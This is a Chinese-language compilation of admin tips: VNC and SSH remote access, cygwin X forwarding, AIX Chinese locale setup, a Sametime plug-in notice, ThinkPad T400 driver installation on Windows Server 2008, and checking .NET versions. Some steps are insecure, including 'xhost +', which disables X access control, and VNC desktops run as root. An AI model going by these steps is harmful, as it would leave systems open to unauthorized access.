说明Server1已经创建成功,这时应该已经开始启动同帐户的VNC Server了。
4.此时已经可以在Linux注销当前会话,并登录到别的会话了,只要不关机,一般是不会影响到已经启动的VNC Server的。当然,也可以使用vncserver -kill来关掉指定的vnc server。
这时要在Windows下利用VNC Viewer登录到Linux。
首先启动VNC Viewer,然后输入远端主机的地址后加上VNC Server的标识号(:0表示当前桌面),这个号取决于上面用vncserver命令启动的server号,如提示为New 'lint:1 (lint)' desktop is root:1,则输入的地址后要加上:1,其他的依此类推。
输入后会要求输入启动服务器时输入的授权密码,确定即可看到1号vncserver的KDE界面了。
5、相关配置:
修改/etc/sysconfig/vncservers
VNCSERVERS="1:root"
ARGS="-geometry 1024x768 -alwaysshared "
在ARGS 中修改"1024x768"来适应自己的X桌面实际参数配置。可以在这里添加任何其他VNC服务器参数配置。在VNCSERVERS中修改 jdimpson为你希望运行VNC桌面的用户。VNCSERVERS中的1表示VNC以桌面1运行,如果希望添加其他的桌面,可以修改配置如下:
VNCSERVERS="1:jdimpson 2:phred 3:sysadmin"
使用ssh得到远程shell
OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。它用安全、加密的网络连接工具代替了 telnet、ftp、 rlogin、rsh 和 rcp 工具。
使用 OpenSSH 工具将会增进你的系统安全性。 所有使用 OpenSSH 工具的通讯,包括口令,都会被加密。 telnet 和 ftp 使用纯文本口令,并被明文发送。这些信息可能会被截取,口令可能会被检索,然后未经授权的人员可能会使用截取的口令登录进你的系统而对你的系统造成危害。你应该尽可能地使用 OpenSSH 的工具集合来避免这些安全问题。
另一个使用 OpenSSH 的原因是,它自动把 DISPLAY 变量转发给客户机器。换一句话说,如果你在本地机器上运行 X 窗口系统,并且使用 ssh 命令登录到了远程机器上,当你在远程机器上执行一个需要 X 的程序时,它会显示在你的本地机器上。如果你偏爱图形化系统管理工具,却不能够总是亲身访问该服务器,这就会为你的工作大开方便之门。
关于ssh的一个好帖:http://www.chinaunix.net/forum/viewtopic.php?t=111248。
RHEL AS4默认以ssh替代了telnet,并且是默认开放的。如果没有,使用图形界面的系统设置-服务设置-所有服务,把其中sshd服务打开。随便找一个客户端工具就可以试一下行不行了,比如SecureCRT。
配置文件位置:/etc/ssh*
服务程序位置:/etc/init.d/sshd
使用cygwin远程连接linux桌面
cygwin工具是free的。不过你安装cygwin时需要连其中的x-free86-Win32 & Open-ssh,这样完全可以用cygwin的功能来远程登录kde或gnome,
在cygwin的命令行下:
1. 执行
#startxwin.bat,
可以看到一个XWindow的根窗口出来了。
2. 执行
#xterm -display 127.0.0.1:0.0
这时候在XWindow的根窗口里会出现一个console窗口,
您可以在里面执行任何cygwin命令
3. 在第二步的console窗口里,键入
#xhost + (若有出错,忽略之)
这将允许连接远程的x客户
4. 如果你要显示另一台linux的桌面(目标),
(假设对方ip为192.168.0.22,自己的ip为192.168.0.8),
#ssh root@192.168.0.22 成功登陆后(也可能是其它已存在的用户),在进入ssh中执行下面命令.
#export DISPLAY=192.168.0.8:0.0 (DISPLAY是环境参数,为大写)
#startkde
这时候您就登录kde窗口了。
在AIX中使用中文有两种途径:第一是在安装AIX时选择中文语言,装好的系统自动显示中文(这种方法不推荐使用,它没有第二种方法使用起来灵活)。第二是安装AIX时选择英文,系统启动后手工设置中文环境,方法如下:
1. 将AIX系统盘的第一张光盘放入光驱;
2. 运行命令:
smitty
--> System Environments
--> Manage Languange Environment
--> Change/Show Primary Language Environment
--> Change/Show Cultural Convention, Language, or Keyboard
在随后显示的菜单中将光标分别移到以下字段:
Primary CULTURAL Convention
Primary LANGUAGE translation
Primary KEYBOARD
按下,从弹出的菜单中选择“IBM-eucCN”将上述字段改为简体中文,按下回车键后系统自动从光盘安装中文环境软件包。此操作完成后重新启动系统,操作界面即为简体中文。
需要输入中文时使用下列功能键切换输入方法:
AIX 4.3.3 以前的版本:
+ F1 --- + F4 切换到各种中文输入方法;
右 --- 切换到英文输入;
AIX 4.3.3:
CTRL + [F2] : 智能 ABC ;
CTRL + [F4] : 拼音输入;
CTRL + [F5] : 五笔输入;
CTRL + [F6] : 郑码输入 ;
CTRL + [F7] : 表形码输入;
CTRL + [F9] : 内码输入;
CTRL + [F10] :英文半角;
此外,AIX还包含另外两种中文环境,即“UTF8”和“GBK”,它们与“IBM-eucCN”之区别在于包含了繁体汉字的使用。上述三种中文环境的设置方法均相同。
Would you like to add a picture to the background of your Sametime Connect client contact list? Now you can, with our free plug-in for Sametime. Over the coming weeks we'll release more free plug-ins. Most of them are things I find useful or one of the developers had an idea for. Often we'll learn something from developing the plug-ins we can apply to other projects, so whilst they are not full blown applications I would charge for, they can be useful tools and utilities. You can expect in the next few days to see a calculator, Vonage phone dialer and a cool meeting plug-in. If you want to install the Wallpaper plug-in, it requires Sametime 8.0 and later and you can download it from here http://www.epilio.com/web/wallpaper.htm
for 8.5
Open C:\Program Files\IBM\Lotus\Notes\framework\rcp\plugin_customization,add:
com.ibm.notes.branding/enable.update.ui=true
reboot Notes,“File”>“Application”>“Install”
1、启动进入BIOS,在config中设置Serial ATA为Compatibility;2、安装Windows Server 2008;3、安装芯片组驱动(Intel Chipset Drivers)(vista/XP/2000版)oss803ww.exe;4、安装Intel Matrix Storage Manager(vista/XP版)7zim57ww.exe;5、重启进入BIOS,在config中设置Serial ATA为AHCI;保存设设置后重启。6、安装ACPI电源驱动,就是Power Manager Driver(vista/XP/2000版)7zku03ww.exe;7、安装Lenovo System Interface Driver(vista/XP版)7jif11ww.exe;8、安装以太网卡Intel PRO/1000驱动(vista版)7vrv17ww.exe;这个驱动必须手动安装,先运行释放出来的安装程序,然后再更新它的驱动程序(注意,是连接在PCI Bus上的,而非连接在Intel(R) ICH9 Family PCI上的那个),选择从磁盘安装,安装信息文件是:C:\DRIVERS\vista\ETHERNET\PRO1000\Win32\e1y6032.inf。打开安装信息文件后,在网络适配器列表中选择Intel(R) 82567LM-2 Gigabit Network即可;9、安装NET Framework 3.5,安装时注意:必须连接Internet网,否则可能安装失败;10、安装Power Manager(vista版) 7vu430ww.exe,完成后重启;11、安装T400自带的ATI显卡驱动Switchable Graphics(vista版)7vd537ww.exe,重启电脑,T400会发现并安装ATI显卡;重启进入BIOS,设置Default Primary Video Device为Internal,设置Graphics Device为Intergrated Graphics,OS Detection for Switchable Graphics为Disabled;启动进入Windows Server 2008后,系统会自动安装Mobile Intel 45 Express显卡驱动,但这个显卡驱动不是Intel的,而是前面安装的ATI驱动包里自带的。如果安装了Intel的X4500驱动,就没办法实现双显卡切换了,这一点是显卡安装过程的重点;安装后重启电脑,让系统自动安装,然后再重启一次;重启后进入BIOS,设置Graphics Device为Switchable Graphics,OS Detection for Switchable Graphics为Enabled;启动进入Windows Server 2008,这时会看起来像没有装上显卡驱动一样,不用管,仍然按上面一样的过程让系统自动安装显卡驱动,完成后重启;进入系统后在任务栏的电池图标上单击左键,在弹出的黑色菜单下最后一项“可切换显卡”就是双显卡切换的开关,使用它即可双显卡切换。12、安装无线网卡ThinkPad 11bg Wireless LAN Mini PCI Express Adapter III驱动(vista版)7ywv11ww.exe,安装完成后要记着启用WLAN Autoconfig服务(如果该服务没有启用的话),并且要在服务器管理器中添加“无线LAN服务”(在服务器管理器窗口中单击“添加功能”超链接,在打开的添加功能向导对话框中将“无线LAN服务”前面的复选框钩上),否则不能使用“管理无线网络”功能,也就没法搜索无线连接和设置无线网络的参数;13、安装读卡器Ricoh 4-in-1驱动(vista/XP版) 7kss55ww.exe;14、安装迅盘ThinkPad-Intel Turbo Memory驱动(vista版)7zin53ww.exe;这个驱动必须手动安装。先释放安装文件,运行释放文件夹中的Setup.exe,重起后,打开设备管理器,在设备管理器中有一个“PCI内存控制器”的设备,更新它的驱动程序,选择从磁盘安装,安装信息文件是:C:\DRIVERS\vista\Turbomem\DRV\Winall\INVM\IaNvStor.inf。15、安装ThinkPad-Wireless WAN (HSDPA) 驱动程序(vista/XP版)7uwc24ww.exe(如果有无线广域网设备的话)。16、安装ThinkPad-Verizon Wireless WAN (UNDP) 驱动程序(vista/XP)7xwc17ww.exe(如果有无线广域网设备的话)。17、安装蓝牙ThinkPad-Bluetooth with Enhanced Data Rate驱动(XP/2000版)7vba09ww.exe;18、安装ThinkPad-Local Manageability Service and Serial Over LAN (Intel AMT 4.0)驱动程序(vista/XP版)7vr210ww.exe;这个驱动须手动安装。先释放安装文件,在设备管理器中有一个“PCI串行端口”的设备,更新它的驱动程序,选择从磁盘安装,安装信息文件是:C:\DRIVERS\WIN\AMTSOL\LMS_SOL\SOLinf\mesrl.inf。19、安装ThinkPad-Management Engine Interface (Intel AMT 4.0)驱动(vista/XP版)7vr109ww.exe;这个驱动须手动安装。先释放安装文件,在设备管理器中有一个“PCI简易通讯控制器”的设备,更新它的驱动程序,选择从磁盘安装,安装信息文件是:C:\DRIVERS\WIN\AMT\MEI\MEI\HECI.inf。20、安装ThinkPad-指纹软件(XP/vista版)7wf114ww.exe;21、安装ThinkPad-调制解调器驱动程序(vista/XP版)7vma07ww.exe;22、安装ThinkPad-声卡驱动程序(vista/XP版) 7wa109ww.exe;23、安装ThinkPad—UltraNav鼠标驱动程序(vista版)7igx13ww.exe;24、安装ThinkPad-Hotkey驱动程序(vista/XP/2000版)7vvu54ww.exe;25、安装ThinkPad-Integrated Camera摄像头软件(vista/XP/2000版)7yca04ww.exe;26、安装ThinkPad-Keyboard Customizer键盘驱动程序(vista版)7kkd03ww.exe;(选装)27、安装ThinkPad-ThinkVantage Productivity Center软件(vista/XP/2000版)7vuy02aw.exe;(选装)28、安装ThinkVantage Active Protection System软件(vista/XP/2000版)6asa04ww,exe;(选装)29、安装ThinkVantage Access Connections(vista版)7vcv55ww.exe;(选装)30、安装ThinkVantage System UPDAte系统 3.14(vista/XP/2000版)。(选装)
确定计算机上安装的 .NET Framework 版本
确定计算机上安装的 .NET Framework 版本的最简单方法是找到 %systemroot%\Microsoft.NET\Framework 文件夹。您可以将列出的 Framework 文件夹的地址粘贴到 Windows 资源管理器的地址栏中,以浏览到 Framework 文件夹。.NET Framework 的三个发行版包含在下列文件夹中:
v1.0.3705
v1.1.4322
v2.0.50727
注意:如果您看到未在本文中列出的其他格式为 vN.N.NXXXX 的目录,则这些版本可能是 .NET Framework 的测试版或预发行版。那些版本超出本文所介绍的范围。要确定计算机上安装的 .NET Framework 版本,请按照下列步骤操作:
打开前面列表中的任一文件夹,然后找到 Mscorlib.dll 文件。
右键单击该文件,然后单击“属性”。
单击“版本”选项卡,然后记下文件版本。
使用前面的列表确定计算机上安装的 .NET Framework 版本,然后单击“确定”。对计算机上的每个 .NET Framework 版本,重复这些步骤。